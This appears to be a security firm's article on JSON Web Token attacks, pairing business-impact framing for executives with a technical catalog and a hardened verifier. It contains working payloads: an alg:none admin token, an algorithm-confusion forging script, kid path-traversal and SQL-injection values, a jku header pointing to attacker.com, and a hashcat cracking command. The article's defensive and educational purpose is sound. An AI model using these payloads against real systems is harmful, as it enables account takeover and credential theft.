In October 2023, an attacker walked into Okta's customer support portal, lifted a handful of session tokens out of uploaded debug files, and used them to log into the customer environments of 1Password, Cloudflare, and BeyondTrust as if they were the customer. No password was stolen. No MFA was bypassed in the classic sense. The tokens themselves were the authentication. Okta later paid a $60 million securities class-action settlement and watched roughly $6 billion evaporate from its market capitalization in the days after disclosure.
That incident is the most expensive public reminder of a quiet truth: in modern web stacks, the token is the user. And the dominant token format — the JSON Web Token (JWT) — is the single bug-richest authentication mechanism in production today.
This article is written for two readers at the same time. If you are a founder or CEO, the next section is for you — it explains what is actually at stake in business terms, and gives you the questions to ask your team. If you are an engineer or security lead, the technical catalog further down is a working playbook of the attacks we validate in real engagements, with payloads, real CVEs from 2024–2026, and the one-line defenses that actually work.
The 60-second version for non-technical leaders
JWTs are how most modern applications remember who you are after you log in. Instead of looking you up in a database on every request, the server hands you a small cryptographic "ticket" that proves you are who you say you are. Your browser or mobile app sends that ticket on every subsequent request. If an attacker can forge a ticket — or steal a valid one — they become you, with no password and no MFA required.
The reason this matters at the executive level:
- The economics are brutal. The IBM 2025 Cost of a Data Breach Report puts the global average at $4.44 million per breach. Credential-driven incidents — the category JWT attacks fall into — run higher than average and take a mean of 241 days to identify and contain.
- Regulators are actively pricing this in. In January 2025, Meta was fined €110 million by EU data protection authorities specifically for an inadequate response to repeated account takeovers. The GDPR ceiling is €20M or 4% of global annual revenue — whichever is larger. European regulators issued roughly €1.2 billion in GDPR fines in 2025 alone.
- Trust collapses fast. 65% of breach victims report losing trust in the organization; in a Vercara survey, 70% said they would stop doing business with a brand after a security incident. For B2B SaaS, this is a procurement-killing event — every prospect on your pipeline will hear about it within a week of disclosure.
- This is a top-tier attack vector right now. Microsoft reports that token theft accounted for 31% of Microsoft 365 breaches in 2025, surpassing traditional credential compromise. Analysts recaptured more than 17 billion stolen cookie/token records from the dark web in 2024. The market for stolen sessions is mature and well-supplied.
Translation: if your team built — or "customized" — a JWT verifier, or if you are running older library versions, you may currently have a token forgery bug that nobody on your team has tested for. The fix is usually a handful of code lines. The cost of not fixing it shows up as an Okta-shaped event in your board deck.
Why JWTs are the bug-richest layer in your stack
Most authentication bugs are not exotic. They follow a pattern. With JWTs the pattern is almost always the same: the verifier trusts something it should not have trusted.
The reason JWTs accumulate so many of these bugs is structural. A JWT carries, inside itself, the instruction for how it should be verified. The token tells the server "use algorithm X with key Y." If the server believes the token, an attacker who can influence those fields can frequently bypass signature verification entirely.
That single design decision — letting the token nominate its own verifier — is the source of more than half the bugs that follow. Every major JWT library has, at some point, shipped a verifier that trusted the wrong thing, and we still find production systems running those versions or in-house reimplementations of the same mistakes.
The 60-second JWT primer (for engineers)
A JWT is three base64url-encoded segments separated by dots:
HEADER.PAYLOAD.SIGNATURE
# Decoded:
{"alg":"HS256","typ":"JWT"}.{"sub":"alice","role":"user","exp":1735689600}.<HMAC-SHA256(header.payload, secret)>
The header declares which algorithm signs the token. The payload contains claims. The signature ties them together with a secret (HMAC) or a private key (RSA/ECDSA). Critically: the algorithm is declared in the token itself. Hold that fact — half the catalog below depends on it.
Attack 1 — alg: none
What an attacker does, in plain English: sends a token that says "this token is not signed, please trust me anyway." Vulnerable servers do.
Business impact: total authentication bypass. The attacker chooses which user to log in as — including admin. No credentials needed.
Technical mechanics. The JWT spec defines "none" as a valid algorithm meaning "this token is not signed." Libraries that took the spec literally would accept tokens like this:
# Decoded header: {"alg":"none","typ":"JWT"}
# Decoded payload: {"sub":"admin","role":"admin"}
# Signature: (empty)
# Actual token (with empty signature):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
The trailing dot is required. If the verifier accepts alg: none, this token authenticates as admin.
Real CVEs: CVE-2015-9235 (jsonwebtoken < 4.2.2), CVE-2015-2950 (java-jwt), and CVE-2024-48916 — Ceph RadosGW, where the OIDC provider component improperly handled JWTs with alg: none. The fact that this bug still ships in 2024 in a Red Hat–supported storage gateway tells you everything about how durable it is.
What we still find: legacy services pinned to old versions; custom JWT parsers written in-house because "we did not trust the library"; allowlists that compare case-sensitively (an attacker sends "None", "NONE", or "nonE" and slips past — this is the exact bypass that hit Auth0 in their public disclosure history).
Attack 2 — HS256/RS256 algorithm confusion
What an attacker does, in plain English: takes the server's public key (which is, by design, public) and uses it as if it were a password to sign a forged token. The server happily accepts it.
Business impact: full authentication bypass as any user — including admin — using only public information. This is the most quietly devastating attack in the catalog. It needs no leaked secret, no insider, no phishing. The "key" is on your /.well-known/jwks.json endpoint.
Technical mechanics. Most JWT libraries support both:
- HS256 (HMAC-SHA256): symmetric, single shared secret.
- RS256 (RSA-SHA256): asymmetric, server signs with a private key, verifiers check with the public key.
If the verifier blindly trusts the alg claim, an attacker can do this:
1. Obtain the server's RSA public key. (Often literally public — exposed at
/.well-known/jwks.json, /oauth/keys, or embedded in mobile binaries.)
2. Take any valid RS256 token. Decode it.
3. Construct a new token:
- Header: {"alg":"HS256","typ":"JWT"} ← changed from RS256
- Payload: {"sub":"victim","role":"admin",...}
- Signature: HMAC-SHA256(header + "." + payload, PUBLIC_KEY_PEM)
4. Send the token. The server, seeing alg=HS256, uses its
PUBLIC key as the HMAC secret. The signature verifies.
The forged token is accepted.
The exploit script:
python -c "
import jwt
pub = open('public.pem').read()
token = jwt.encode({'sub':'admin','role':'admin','exp': 99999999999},
pub, algorithm='HS256')
print(token)
"
Or via jwt_tool:
python3 jwt_tool.py <TOKEN> -X k -pk public.pem
Real CVE history, including recent 2024–2026 disclosures:
- CVE-2016-10555 (auth0/jsonwebtoken)
- CVE-2022-21449 (Java Psychic Signatures — related theme of algorithm trust failure)
- CVE-2022-23529 (node-jsonwebtoken < 9.0.0)
- CVE-2024-33663 — python-jose through 3.3.0: algorithm confusion via OpenSSH ECDSA key formats, authentication bypass.
- CVE-2024-54150 — xmidt-org/cjwt (C library): algorithm confusion.
- CVE-2025-30144 — library bypass affecting popular JWT implementations, RCE-adjacent.
- CVE-2026-29000 — pac4j-jwt: critical authentication bypass via JWE token processing, allowing impersonation of arbitrary users.
The fix in every case: pin the algorithm at the verifier, not in the token.
Attack 3 — kid header injection
What an attacker does, in plain English: tricks the server into reading the "verification key" from a file or database row the attacker controls — and forges a token against it.
Business impact: full authentication bypass through what is, technically, a different bug class (injection) than people expect to find in their auth layer. This means it is often missed by both code review and automated scanners.
Technical mechanics. The kid ("key ID") header lets a JWT specify which key the verifier should use. The lookup mechanism is implementation-defined, and that is where the bugs live.
Path traversal via kid
# Verifier code:
key = open(f"/var/keys/{token_header['kid']}.pem").read()
# Attacker sends:
{"alg":"RS256","typ":"JWT","kid":"../../../../dev/null"}
# The "key file" is /dev/null. Empty contents.
# Many crypto libraries treat an empty key as a no-op verifier.
SQL injection via kid
# Verifier code:
row = db.execute(f"SELECT pem FROM keys WHERE kid = '{token_header['kid']}'")
# Attacker sends:
{"alg":"HS256","typ":"JWT","kid":"x' UNION SELECT 'attacker_secret' --"}
# DB returns "attacker_secret" as the "PEM". Verifier uses it.
# Attacker signs with attacker_secret, token verifies.
Real CVEs: CVE-2018-0114 (jose4j path traversal), CVE-2018-1000531 (Inversoft prime-jwt), and the bug class continues to surface in 2025 — Invicti's vulnerability database tracks kid path traversal as a current detection category in its 2025 release.
Attack 4 — jwk header: "sign with your own key"
What an attacker does, in plain English: embeds their own key inside the token and tells the server to verify against it.
Business impact: full authentication bypass, no public-key exposure required. Attacker simply generates a keypair, embeds their public half, signs with the private half.
Technical mechanics. The jwk header can embed an entire JSON Web Key directly in the token. Libraries that respect this — and there were several — verify the token against the embedded key:
1. Generate an RSA keypair locally.
2. Construct a JWT with the public half of YOUR keypair embedded in the jwk header.
3. Sign the token with the matching private key.
4. Send it. The verifier extracts the public key from the header,
verifies the signature against it (it matches — you signed with the private
half), and trusts the payload.
Modern libraries refuse jwk in headers by default. Older versions and custom verifiers still accept it. PortSwigger maintains a dedicated lab for this attack — it remains in the curriculum because it remains exploitable in the wild.
Attack 5 — jku SSRF and key-fetching
What an attacker does, in plain English: tells the server "fetch the verification key from this URL" — pointing at a server they control.
Business impact: two consequences for the price of one. First, full token forgery. Second — and frequently worse — the verifier makes an outbound HTTP request to an attacker-chosen URL, which in a cloud environment is one step from cloud metadata SSRF and IAM credential theft. The same primitive that compromises one user account can hand over the entire AWS role.
Technical mechanics:
{"alg":"RS256","kid":"...","jku":"https://attacker.com/jwks.json"}
- SSRF. The verifier makes an HTTP request to an attacker-chosen URL. If the verifier runs in EC2, GKE, or any cloud with an instance-metadata endpoint, this is one pivot from full role compromise.
- Full forgery. If the verifier trusts the fetched JWKS, the attacker hosts a JWKS containing their own public key, signs the token with the matching private key, and the verifier accepts it.
The defense is binary: refuse jku and x5u headers in incoming tokens. Period.
Attack 6 — weak HMAC secrets
What an attacker does, in plain English: captures one of your tokens, then tries every password from a leaked breach list against it on a single laptop, offline, until they find your secret.
Business impact: once a single token is captured (intercepted on Wi-Fi, lifted from a debug log, scraped from a JavaScript bundle), an attacker can forge tokens for every user in your system, including ones who have never logged in. The forging is offline — your detection systems will never see it happen.
Technical mechanics. If the HS256 secret has low entropy — a dictionary word, a default value, "secret", a value leaked from git history — it is brute-forceable. The token's body is structured, so any candidate secret can be verified locally with no traffic to your servers:
# Get a token
TOKEN="eyJhbGciOiJIUzI1NiIs...Y9I"
# Brute force with hashcat (mode 16500 = JWT HS256)
hashcat -a 0 -m 16500 "$TOKEN" /usr/share/wordlists/rockyou.txt
On a single laptop with a modern GPU, a 6-character dictionary secret falls in under a minute. The leaked-secret variant is faster — and increasingly common. GitGuardian and GitHub report 28.65 million new hardcoded secrets pushed to public GitHub repositories in 2025 alone, a 34% year-over-year increase. Recent named incidents — Mercedes-Benz (Sept 2023), and Checkmarx's March 2026 supply chain incident — both started with a token committed to a repo.
Recent variant: hardcoded keys shipped in production
CVE-2025-7079 disclosed a hardcoded JWT signing string ("bluebell-plus") shipped in a production Go binary. CVE-2025-6950 disclosed hardcoded JWT signature keys in Moxa industrial network devices. Both mean: the "secret" is the same for every customer, knowable to anyone who downloads the firmware.
Attack 7 — the stolen-token chain (no JWT bug required)
This last category does not exploit a flaw in the verifier — it exploits the fact that a JWT, once issued, is a bearer credential. Whoever holds it is the user.
The CircleCI breach, January 2023: An attacker installed malware on a single engineer's laptop. The malware stole the engineer's SSO session cookie. That cookie carried the same authority as a fully logged-in, 2FA-backed user. The attacker used it to access production systems, exfiltrate customer environment variables and tokens, and trigger a fleet-wide rotation event for thousands of CircleCI customers.
The Okta support breach, late 2023: An attacker logged into Okta's customer support portal and read HAR files — browser debug exports — that customers had uploaded for troubleshooting. The HAR files contained live session tokens. The attacker replayed those tokens to hijack admin sessions at five Okta customers, including 1Password, Cloudflare, and BeyondTrust. Business impact: $60M settlement, ~$6B market-cap loss, 11% one-day stock drop.
The pattern: if your tokens are long-lived, broadly scoped, and not bound to a device or origin, you are one stolen cookie away from a full account takeover that your detection stack cannot distinguish from the real user.
What "secure JWT" actually looks like — in code
Most of the above attacks die against a verifier with these properties. Pseudocode, but the pattern translates directly into every modern JWT library:
def verify(token):
header, payload, signature = split_jwt(token)
# 1. Hard-pin the algorithm. Refuse anything else.
if header['alg'] != 'RS256':
raise InvalidToken('unexpected algorithm')
# 2. Refuse dangerous headers outright.
for h in ('jwk', 'jku', 'x5u', 'x5c'):
if h in header:
raise InvalidToken(f'header {h} not allowed')
# 3. Resolve kid against a CLOSED set you control.
kid = header.get('kid')
if kid not in TRUSTED_KIDS:
raise InvalidToken('unknown kid')
pub_key = TRUSTED_KIDS[kid]
# 4. Verify with the pinned algorithm and the resolved key.
if not crypto_verify(pub_key, RS256, signature, header + '.' + payload):
raise InvalidToken('bad signature')
# 5. Enforce required claims explicitly.
claims = json.loads(payload)
if claims['iss'] != EXPECTED_ISSUER: raise InvalidToken('wrong issuer')
if claims['aud'] != EXPECTED_AUDIENCE: raise InvalidToken('wrong audience')
if claims['exp'] < now(): raise InvalidToken('expired')
if claims.get('nbf', 0) > now(): raise InvalidToken('not yet valid')
return claims
Five guards. Each one closes a real attack class. Each one is a single line. The reason these bugs persist is that every library defaults to something else, and changing the defaults requires reading the library's documentation carefully — which most teams do not have time for.
The boardroom translation table
If you are a founder reading a pentest report or hearing this from your security team, here is what the jargon maps to in terms a board would recognize:
| What your team says | What it means | What it could cost you |
|---|---|---|
"Our JWT library accepts alg: none" |
Attackers can log in as any user, including admin, without a password. | Full breach. IBM average: $4.44M. Regulatory exposure under GDPR. |
| "We don't pin algorithms" | An attacker with our public key — which we publish on purpose — can forge any user's session. | Equivalent to publishing the master password. Account takeover at scale. |
"We accept jku headers" |
The auth server fetches keys from URLs in the token. Cloud IAM credential theft is one step away. | Full cloud account compromise — see SSRF + cloud metadata. |
| "Our JWT secret is in the repo / hardcoded" | Anyone with code access can forge tokens for every user. Now and historically. | Mercedes-Benz scenario (Sept 2023). Source code exposure + forged auth. |
| "Sessions are long-lived" | A stolen token from a single laptop = persistent access for days or weeks. | CircleCI / Okta scenario. Fleet-wide rotation event for your customers. |
Five questions a non-technical leader should ask the engineering team
- "What JWT library are we using, and what version?" If the answer is "we wrote our own" or "we forked one in 2019," prioritize a review immediately.
- "Do we pin the signing algorithm at the verifier?" The right answer is "yes, we pin it to one algorithm, and we reject anything else." If the answer involves the word "allowlist" with more than two algorithms, dig further.
- "Do we accept
jku,jwk, orx5uheaders?" The right answer is "no." There is no good reason to accept these in inbound tokens. - "How are JWT secrets stored, rotated, and audited?" If secrets are checked into git, the same in dev and prod, or have never been rotated, that is a finding before the pentest starts.
- "How fast can we invalidate every active token in production?" If the answer is "we can't" or "it requires a deploy," your incident response plan has a gap.
The deeper recommendation: do you need JWTs at all?
If your application uses JWTs to store session state, the cheapest thing you can do for your security posture is to ask: do we need them?
Opaque session IDs backed by a server-side store are simpler, smaller, and have a much smaller attack surface. They cannot be forged because they carry no information — only a lookup key. They can be revoked instantly. Most of this article's attack catalog does not apply to them at all.
The "stateless authentication" argument for JWTs is real for some architectures (mobile, microservices that span trust boundaries) and not real for most others (server-rendered web apps, single-backend SaaS). We find ourselves recommending "delete the JWT layer" more often than we find ourselves recommending "tune the JWT verifier." It is worth questioning the assumption before tuning the implementation.
What we test, every engagement
- Submit
alg: none,none,None,NONE, empty algorithm. - Algorithm confusion: serve a HS256 token signed with the disclosed public key.
kidinjection: path traversal, SQL injection, command injection.jwk/jku/x5uheader injection.- Token replay across services that share a key.
- Missing or partial validation of
exp,nbf,iss,aud. - Brute force of HS256 secrets with hashcat against captured tokens.
- Long-lived token abuse: how long is a stolen token usable, and can it be revoked?
- Scope creep: does a token issued for one tenant work in another?
None of these are esoteric. All of them are standard items in our playbook. We have used every single one to compromise production applications within the last 18 months. If your last assessment did not specifically test for them, your tokens may be more accepting than you think.
The bottom line
JWT bugs are not theoretical. They cost Okta roughly $6 billion in market value in a week. They cost CircleCI a fleet-wide secret rotation event and a permanent footnote in every CI/CD security review. They feed a quiet, well-supplied market in stolen tokens that — per Microsoft's own data — now drives 31% of Microsoft 365 breaches.
The good news, and the reason we wrote this guide: the defenses are short, well-understood, and inexpensive. Five lines of verifier configuration close most of the catalog. A frank conversation between a non-technical leader and the engineering team — using the five questions above — surfaces almost every variant we find in the field. The cost of having that conversation this quarter is meaningfully smaller than the cost of having an Okta-shaped one next year.